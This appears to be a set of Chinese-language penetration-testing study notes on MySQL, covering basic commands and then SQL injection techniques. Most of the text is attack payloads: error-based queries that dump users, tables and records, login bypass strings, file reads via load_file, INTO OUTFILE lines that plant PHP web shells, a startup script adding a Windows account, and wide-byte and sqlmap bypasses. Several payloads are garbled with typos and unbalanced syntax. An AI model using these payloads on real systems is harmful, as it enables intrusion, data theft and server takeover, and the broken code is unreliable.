大纲:MySQL介绍及操作  MySQL注入原理  MySQL注入其他操作

一、MySQL介绍及操作

  介绍 

    MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS

(Relational Database Management System,关系数据库管理系统) 应用软件。MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加

了速度并提高了灵活性。MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放

源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。(源自百度百科)

  安装:

  Windows上  phpstudy  wamp  upupw  (都是集成好的)  iisthuweishen

  Linux上  yum-y  install  httpd  php  php-mysql  mysql-server

  简单的操作命令

    1、创建数据库

      CREATE DATABASE database-name

    2、删除数据库

      drop database dbname

    3、查询数据库

      CREATE TABLE MYTABLE(name VARCHAR(20),sex(HAR(1)));

    4、查看数据库

      show datbases;

    5、查看表

      show tables;

二、MySQL函数

  1、system_user()  系统用户名

  2、user()  用户名

  3、current_user  当前用户名

  4、session_user()  连接数据库的用户名

  5、database()  数据库名

  6、version()  MySQL数据库版本

  7、load_file()  转成16进制或10进制MySQL读取本地文件的函数

    select load_file('c:/123.txt');  可以将地址转16进制放入就无须单引号

  8、@@datadir  读取数据库路径

  9、@@basedir  MySQL数据库安装路径

  10、@@version_compile_os  操作系统

三、MySQL数据库连接

<?
$host='localhost';    //数据库地址
$datebase='sui';  //数据库名称
$user='root';  //数据库账户
$pass='';  //数据库密码
$pass='';  //数据库密码
$webml='/0/';  //安装文件夹
?>

 

一般在config.php  db_config.php文件中

lnclude/common.inc.php  一般在data文件夹下

四、数据库结构化对比

  access数据库

    A网站:adata.mdb

      表名(admin)

        列名(user,pass)

          值

    B网站:bdata.mdb

      表名(admin)

        列名(user,pass)

          值

  MySQL数据库

    A网站

    B网站

      表名

        列名

          值

五、MySQL注入原理

  注入产生原理以及防护绕过

  注入形成原理

  简单防注入原理

  绕过注入原理

  形成注入的原理:没有对输入的参数进行过滤

  防注入绕过

  大小写绕过

  %00编码绕过  截断关键字

  判断注入  手工(5.0以上)要用infromation函数,没有就用sqlmap

    and 1=1  and 1=2  这种只适用于没有上waf的

  判断多少列

    order by xx

    order by 21 正常  order by 22 不正常  说明有21列

六、MySQL其他注入

  MySQL 4.0渗透

    利用sqlmap注入读取文件

    查询表名

    sqlmap --sql-shell

    select load_file('/usr/www/index.php');

  MySQL显错注入

    判断是否存在注入,输入 '

    爆当前数据库的用户

    -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select user() limit(0,1) a from information_shema.tables group by a)b#

    爆当前数据库名称

    -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select database(), limit(0,1) a from information_schem.tables group by a)b#

    爆当前版本号

    -999999999' union select 1 from (select count(*),concat(floorcrand(0)*2),(select version() limit(0,1) a from information_schema.tables group by a)b#

    爆当前数据库

    -999999999' union select 1 from (select count(*),concat(select(select concat (0x27,0x27,hex(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    爆表

    ' and(select 1 from(select count(*),concat((select (select distinct concat(0x27,0x27 ,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x64656E67 (imit 0,1) from information_schema.tables group by x)a)#

    爆字段

    ' and(select 1 from(select count(*),concat((select (select distinct concat(0x7e,0x27 ,aolumn_name,0x27,0x7e) from information_schema,columns where table_schema=0x64656E67 and table_name=0x75736572 limit 0,1) from information_schema.tables group by x)a)#

    爆内容

    ' and(select 1 from(select count(*),concat((select (select distinct concat(0x7e,0x27 ,user,username.0x27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1), floor(rand(0)*2))x from information_schema.tables group by x_a_#

    后台绕过

    select *from user where username="and password="

    输入:admin#   #表示注释后面的的代码

    select * from user where username='admin' # ' and password=''

    输入:admin' and or '1=1

    select * from user where username='admin' or '1=1' and password=''

七、MySQL读取函数的使用

  load_file()函数

  该函数使用来读取源文件的函数,只能读取绝对路径的网页文件。在使用load_file()时应该先找到网站的绝对路径

  例如:d:/www/xx/index.php

      /usr/src/apache/htdoc/index.php

  注意:

    1、路径符号“\”错误  “\\”正确    “/”正确

    2、转换十六进制数就不需要单引号

    /  Linux路径格式

    \  Windows路径格式

  获取网站根路径

  1、报错显示

  2、Googlehack  site:目标网站 warning

  3、遗留文件  phpinfo  info  test  php

  4、漏洞爆路径

  5、读取配置文件

  读取网站文件内容

  and 1=2 union select 1,foad_file('c:\\Inetpub\\wwwroot\\mysql_sql\\inc\\set_sql.php'),3,4,5,6,7,8,9

  and 1=2 union select 1,load_file(十六进制),3,4,5,6,7,8,9

  c:/windows/system32/inetsrv/metabase.xml

  写入函数 into outfile

  and 1=2 union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5 into outfile 'c:/Inetpub/wwwroot/mysql-sql/cracer.txt'

八、利用注入漏洞执行系统命令

  1、需要wamp环境搭建,要系统权限才可以执行

  and 1=2 union select 1,"net user seven 123 /add",2,3,4 into outfile 'c:/Documents and Settings/Administrator/[开始]菜单/程序/启动/1.bat'

  2、

  and 1=2 union select 1,"<pre><body><?@system($_GET['cc'];?></body></pre>",2,3,4 into outfile 'c:/Inetpub/wwwroot/mysql-sql/cr.php'

九、魔术引号与宽字节注入

  该特性已自php5.3.0起废弃并于5.4.0起移除。当打开时,所有的单引号,双引号,反斜杠NULL字符都会自动加上一个反斜杠进行转义,这和addslashes()作用完全相同,一共有三个魔术引号指令:

  magic_quotes_gpc  影响到http请求数据(GET,POST和COOKIE)

  不能在运行时改变,在PHP默认的值为on参见get_magic_quotes_gpc()

  magic_quotes_runtime如果打开,大部分从外部来获取的数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜杠转义

  在运行时改变,在PHP中的默认值为off,参见set_magic_quotes_runntime()和get_magic_qutes_runtime()

  magic_quotes_sybase如果打开将会只用单引号对单引号进行转义而非反斜杠,此选项会玩全覆盖magic_quates_gpc

  如果同时打开两个选项,单引号会被转义成 " ,而双引号反斜杠和NULL字符不会转义

  如何取得其值,参见InI_got()

  使用宽字节注入绕过魔术引号

  %df%27

  sqlmap.py -u "xx.com/xx.php?id=1" --risk 3 --dbms =mysql-p username --tamper unmagicquotes.py -v 3

 

2019-05-02  17:28:15